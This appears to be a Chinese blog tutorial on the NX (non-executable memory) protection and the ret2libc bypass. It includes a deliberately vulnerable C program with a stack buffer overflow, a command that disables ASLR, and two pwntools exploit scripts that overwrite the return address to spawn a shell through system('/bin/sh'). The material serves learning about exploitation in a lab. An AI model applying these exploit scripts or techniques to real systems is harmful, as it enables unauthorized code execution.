NX机制及绕过策略：ret2libc详解

程序：

   1.c

#include <stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
	char str[0x20];
	read(0,str,0x50);
}
int main()
{
	func();
	return 0;
}

0x01 NX介绍

溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段，转而让系统去执行。

NX缓解机制开启后，使某些内存区域不可执行，并使可执行区域不可写。示例：使数据，堆栈和堆段不可执行，而代码段不可写。

2. 编译

gcc -Wall -g -o nx 1.c -fno-stack-protector -m32

没有使用 -z execstack ，所以数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。

关闭ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

   我们用下面的程序执行获取权限，将会报错（我试了，这里就不贴图了），因为开启了NX保护机制。这是关闭NX获取权限的，我写在这篇文章上了：
https://blog.csdn.net/qq_41683305/article/details/105014197

from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0x8049172)
p.sendline(payload)
p.interactive()

0x03 原因

运行起nx,并保持运行状态，新打开一个终端，输入ps -a,查看nx的pid，然后执行cat /proc/52799/maps


   发现stack不可以执行，我们的shellcode不可以执行了

0x04 ret2libc

ret2libc即控制函数执行libc中的函数，通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。

   一般情况下，我们会选择执行system("/bin/sh")，在不存在ASLR(地址随机化)的情况下，可以直接通过调试获得system的函数地址以及“/bin/sh”的地址 。


   布局完成后，返回地址return_addr被覆盖为libc文件里的system函数地址，当运行到esp位置时，会跳转到system中执行，同时，esp指向esp+4，这时对system来说，它内部的ret(返回地址)执行时esp指针还是指向esp+4的，也就是esp + 4(0xdeadbeef)就是system函数的返回地址，而esp+8则是它的参数

注：对于不想使程序崩溃，可以将esp+4的覆盖为exit函数的地址

0x06 找地址

先执行start，运行我们的程序，然后输入下图内容，找到system和exit地址


   接着找/bin/sh地址


   我用的是第一个地址，成功了，后面两个我没有尝试

   三个地址都找到了，修改我们的poc程序：

   1.py

# -*- coding: utf-8 -*-
from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0xf7e13660) 
payload+=p32(0xf7e066f0)
payload+=p32(0x56557008)
p.sendline(payload)
p.interactive()

接着执行，成功获取权限

0x08 总结

Ret2Libc虽然把数据放在了不具备可执行权限的栈上，但成功执行了shellcode，这是因为只是把输入数据当做纯数据来间接劫持程序的执行流。

这个程序的成功执行得利于关闭ASLR，system和exit函数的地址才能固定下来。我们构造poc才方便很多。

ret2libc的精髓之处在于，把ret addr修改成libc库中的函数地址，并且构造了system函数的参数。对于DEP防御来说，你不让我执行我的代码，我就利用你的函数达到我的目的。这边是面向返回编程的设计思路。

参考：

https://www.jianshu.com/p/c90530c910b0

   https://blog.csdn.net/counsellor/article/details/81986052?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

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